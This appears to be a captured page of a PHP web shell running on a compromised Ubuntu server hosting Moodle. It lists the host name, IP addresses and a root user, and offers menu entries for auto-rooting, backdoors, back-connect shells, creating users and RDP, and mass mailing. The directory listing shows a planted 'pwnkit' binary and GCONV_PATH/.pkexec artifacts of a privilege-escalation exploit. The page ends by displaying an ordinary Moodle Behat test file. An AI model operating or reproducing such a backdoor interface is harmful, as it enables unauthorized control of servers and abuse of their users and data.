Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
cohort /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
access_visible_cohorts.feature
7.7
KB
-rwxrwxrwx
add_cohort.feature
2.8
KB
-rwxrwxrwx
behat_cohort.php
2.75
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
upload_cohort_users.feature
2.23
KB
-rwxrwxrwx
upload_cohorts.feature
12.5
KB
-rwxrwxrwx
view_cohorts.feature
2.51
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view_cohorts.feature
@core @core_cohort Feature: View cohort list In order to operate with cohorts As an admin or manager I need to be able to view the list of cohorts in the system Background: Given the following "categories" exist: | name | category | idnumber | | Cat 1 | 0 | CAT1 | | Cat 2 | 0 | CAT2 | | Cat 3 | CAT1 | CAT3 | And the following "cohorts" exist: | name | idnumber | | System cohort | CH0 | And the following "cohorts" exist: | name | idnumber | contextlevel | reference | | Cohort in category 1 | CH1 | Category | CAT1 | | Cohort in category 2 | CH2 | Category | CAT2 | | Cohort in category 3 | CH3 | Category | CAT3 | Given the following "users" exist: | username | firstname | lastname | email | | user1 | First | User | first@example.com | | user2 | Second | User | second@example.com | And the following "role assigns" exist: | user | role | contextlevel | reference | | user1 | manager | System | | | user2 | manager | Category | CAT1 | Scenario: Admin can see system cohorts and all cohorts When I log in as "admin" And I navigate to "Users > Accounts >Cohorts" in site administration Then I should see "System cohort" And I should not see "Cohort in category" And I follow "All cohorts" And I should see "System cohort" And I should see "Cohort in category 1" And I should see "Cohort in category 2" And I should see "Cohort in category 3" And I log out Scenario: Manager can see system cohorts and all cohorts When I log in as "user1" And I navigate to "Users > Accounts >Cohorts" in site administration Then I should see "System cohort" And I should not see "Cohort in category" And I follow "All cohorts" And I should see "System cohort" And I should see "Cohort in category 1" And I should see "Cohort in category 2" And I should see "Cohort in category 3" And I log out Scenario: Manager in category can see cohorts in the category When I log in as "user2" And I am on course index And I follow "Cat 1" And I follow "Cohorts" And I should not see "All cohorts" And I should not see "System cohort" And I should see "Cohort in category 1" And I should not see "Cohort in category 2" And I should not see "Cohort in category 3" And I log out
Close